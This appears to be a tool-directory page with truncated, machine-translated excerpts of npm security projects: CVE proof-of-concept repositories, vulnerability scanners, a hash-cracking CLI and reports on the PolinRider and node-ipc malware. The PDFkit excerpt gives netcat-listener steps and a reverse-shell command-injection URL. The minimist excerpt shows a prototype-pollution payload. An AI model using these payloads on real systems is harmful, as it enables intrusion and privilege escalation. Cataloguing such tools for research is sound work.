PDFkit-CMD-Injection

PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 root@kitploit: 1- python3 -m http.server 80 启动 netcat 监听器 root@kitploit: 2- nc -lnvp 'Target Port' 发起请求 root@kitploit: 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

cve-lite-cli

大多数工具只会告诉你哪里出了问题。CVE Lite CLI 会告诉你该运行什么。 CVE Lite CLI 🏆 官方认证的OWASP 实验室项目 从终端开始、并能无缝融入 CI 的漏洞扫描工具。 扫描你的锁文件，获取可直接复制运行的修复命令，交付干净的代码。 扫描。理解。修复。 快速开始 • 用法 • 截图 • HTML 报告 • 对比 • 路线图 • 贡献指南 • 加入 Slack 包管理器 快速开始bash npm install -g cve-lite-cli cve-lite /path/to/project root@kitploit: 或者使用 npx 一次性运行：bash...

prosey

Prosey Prosey は、YouTube から動画の文字起こしをダウンロードして表示する CLI ツールです。何時間も無駄にすることなく、探している情報を手に入れることができます。 主なユースケースは次のとおりです: 要約 : YouTube 動画を要約し、単一のコマンドで CLI に表示します（より高速）。 閲覧 : 動画のキャプションを、元の動画のようにチャプターごとに整形・整理して読みます（より時間がかかることが多い）。 どちらの用途でも、システム上に AI アシスタントが必要です（デフォルト: opencode。独自のものを設定するには prosey config...

opencode

开源的 AI Coding Agent。 English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português Brasil | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt 安装 root@kitploit: 直接安装 YOLO curl -fsSL https://opencode.ai/instal...

CVE-2021-21315-PoC

CVE-2021-21315-systeminformation Esto es una prueba de concepto para CVE-2021-21315 que afecta a The System Information Library para Node.JS paquete npm "systeminformation". npmjs.com/systeminformation "asegúrese de comprobar o sanear los parámetros de servicio que se pasan a si.inetLatency,...

js-x-ray

!slsa...

dcipher-cli

dcipher-cli ハッシュをオンラインのレインボーテーブルおよびルックアップテーブル攻撃サービスを使用して、ターミナルから直接クラックします。 インストール root@kitploit: ❯❯❯ npm install -g dcipher-cli 使用方法 root@kitploit: ❯❯❯ dcipher --help ハッシュをオンラインのレインボーテーブルおよびルックアップテーブル攻撃サービスを使用して、ターミナルから直接クラックします。 使い方 ❯❯❯ dcipher ❯❯❯ echo | dcipher オプション -p, --plain ログ記号なしで出力を表示 例...

CVE-2026-10053-lab

CVE-2026-10053 — 可复现的验证实验室 自包含实验室，证明 GitLab npm 包注册表路径遍历（CVE-2026-10053）并展示其已修复，使用确定性的磁盘上 oracle（判定依据）——而非 HTTP 状态。 已证明与未证明的内容。 本实验室证明在易受攻击的 GitLab 上，可以以git 操作系统用户身份进行经过身份验证的任意文件写入，并且已修补版本会阻止该操作。它不是 独立的远程代码执行 PoC——参见范围。请勿将其引用为 RCE。 | ---|--- 漏洞| npm 包注册表中的 CWE-22 路径遍历（TOCTOU：检查在 before :cache 运行，...

PolinRider

PolinRider：朝鲜威胁行为者在数百个GitHub仓库中植入恶意软件 日期： 2026-03-07 最后更新： 2026-04-11 — 请参见下文 4月10–11日更新 严重性： 严重 — 活跃的供应链感染波及 1,950+ 个公开仓库，已确认与 TasksJacker / Contagious Interview 集群实现运营整合 OpenSourceMalware 团队发现了一场大规模威胁活动，该活动正在向 GitHub 用户和组织仓库中植入恶意软件。威胁行为者 PolinRider 已在 数百个公开 GitHub 仓库 （属于 数百个不同的所有者 ）中植入了恶意混淆的...

generator-burp-extension

Generador de Extensiones Burp Instalación Primero, instala Yeoman y generator-burp-extension usando npm asumimos que ya tienes preinstalado node.js. root@kitploit: npm install -g yo npm install -g generator-burp-extension Luego genera tu nuevo proyecto: root@kitploit: yo burp-extension...

CVE-2022-0155-PoC

CVE-2022-0155 概念验证 PoC 该仓库包含对 CVE-2022-0155 漏洞的演示。 该漏洞由 ranjit-git 发现，并在 此处 详细描述。 本 PoC 的目的是展示该漏洞不仅适用于将 follow-redirects 用作直接依赖的场景，也适用于通过 axios 将其用作间接/传递依赖的场景。 概述 该漏洞影响版本低于 1.14.7 的 follow-redirects npm 包。Follow-redirects 扩展了 内置 HTTP 模块，增加了跟随重定向的能力。 为了演示该漏洞，请考虑以下场景： 1. follow-redirects 被用于向...

cwe-tool

cwe-tool 一个基于 OWASP / CAPSEC 通用弱点枚举数据库的命令行 CWE 发现工具。 官方 OWASP CWE Toolkit 页面 安装 通过 Node.js 工具直接执行 如果您有 Node.js 环境，可以使用 npx 工具调用 cwe-tool，如下所示： root@kitploit: npx cwe-tool ...命令行选项... Docker 从 Docker Hub 拉取镜像 root@kitploit: docker pull lirantal/cwe-tool docker run --rm lirantal/cwe-tool --search...

magika

Magika Magika 是一款基于 AI 的新型文件类型检测工具，依靠深度学习的最新进展提供精确的检测。在幕后，Magika 使用了一个定制的高度优化模型，该模型仅重约几 MB，即使在单个 CPU 上运行，也能在毫秒内实现精准的文件识别。Magika 在包含约 1 亿个样本、覆盖 200 多种内容类型（包括二进制和文本文件格式）的数据集上进行了训练和评估，在我们的测试集上达到了平均约 99% 的准确率。 以下是 Magika 命令行输出的示例： Magika 被大规模用于提升 Google 用户的安全性，通过将 Gmail、Drive 和 Safe Browsing...

node-ipc-malware-protestware-CVE-2022-23812

CVE-2022-23812 RIAEvangelist/node-ipc 是恶意软件/抗议软件 RIAEvangelist/node-ipc 模块包含抗议软件 peacenotwar。 来自 RIAEvangelist/node-ipc 的摘录： 自 v11.0.0 和 v9.2.2 起 ，此模块使用了 peacenotwar 模块。 更重要的是，RIAEvangelist/node-ipc 的提交 847047cf7f81ab08352038b2204f0e7633449580 - 6e344066a0464814a27fbd7ca8422f473956a803 包含恶意软件。 ⚠️|...

twifo-cli

T W I F O - C L I Twitterユーザーの情報を取得します！ インストール root@kitploit: $ npm install --global twifo-cli OR root@kitploit: $ sudo npm install --global twifo-cli 使い方 root@kitploit: $ Usage: twifo Example: $ twifo 9gag 関連 twifo : このツールのAPI。 quorafy: Quoraユーザーの情報を取得します。 ライセンス MIT © Rishi Giri...

tiktok-scraper

TikTok Scraper & Downloader TikTok から有用な情報をスクレイピングおよびダウンロードします。 ログインやパスワードは不要です これは公式 API サポートなどではありません。TikTok Web API を使用してメディアや関連メタ情報をスクレイピングするだけのスクレイパーです。 目次 機能 To Do 貢献 インストール 使用方法 ターミナル ターミナルの例 ダウンロード履歴の管理 バッチでスクレイピングおよびダウンロード 出力ファイルの例 Docker ビルド 実行 モジュール メソッド オプション Promise を使用 イベントを使用...

CVE-2020-17453

徽章 许可证 MIT 安装 使用 npm 安装 CVE-2020-17453 root@kitploit: npm install cve-2020-17453 -g 用法 单 URL 示例 root@kitploit: CVE-2020-17453 -u http://example.com 用法 URL 列表示例 root@kitploit: CVE-2020-17453 -l urls.txt -o out.txt 截图 帮助菜单 获取所有项 root@kitploit: 👋 Hey karthithehacker .-----------------------------. |...

CVE-2026-42089

CVE-2026-42089 本地包安装助手过度信任调用者提供的包名。在 yeoman-environment 中，缺失的生成器可能在未经用户确认的情况下被安装，将攻击者控制的项目元数据转变为包安装和代码执行路径。 介绍 我在审查 generator-jhipster 时，基于一个简单的安全问题发现了此漏洞： 攻击者控制的项目元数据能否让开发者工具在用户未明确请求的情况下获取并执行第三方代码？ 在这种情况下，答案是肯定的。 最初看起来像 JHipster 问题的问题，结果在 yeoman-environment 中有着更深层的上游根本原因。 漏洞行为出现在 Yeoman...

CVE-2026-11417-AWS-CDK-RCE

AWS CDK 的 NodejsFunction 中供应链命令注入漏洞 CVE-2026-11417 作者: Hesham Ashraf @HeshamASH 日期: 2026年6月10日 严重性: 高危 CVSSv3.1: 7.3, CVSSv4: 7.0 CWE: CWE-78 — 操作系统命令中特殊元素未正确中和（OS命令注入） 受影响包: aws-cdk-lib npm，所有 2.245.0 之前的版本 供应商: Amazon Web Services AWS 状态: 已修复 PR 37292, PR 37412 | CVE: CVE-2026-11417 | 公告:...

CVE-2020-7598

CVE-2020-7598 - minimist中的原型污染 免责声明 本项目仅用于： 学习， 安全研究， 以及个人本地实验室。 未经授权请勿用于任何系统。 关于CVE CVE-2020-7598 是 npm 包中的原型污染漏洞： minimist 受影响版本： = 1.0.0 1.2.3 此漏洞允许攻击者修改： root@kitploit: Object.prototype 通过类似以下payload： root@kitploit: --proto.isAdmin=true 导致： 所有JavaScript对象可能继承危险属性， 认证绕过， 权限提升， 甚至在某些条件下链式导致RCE。...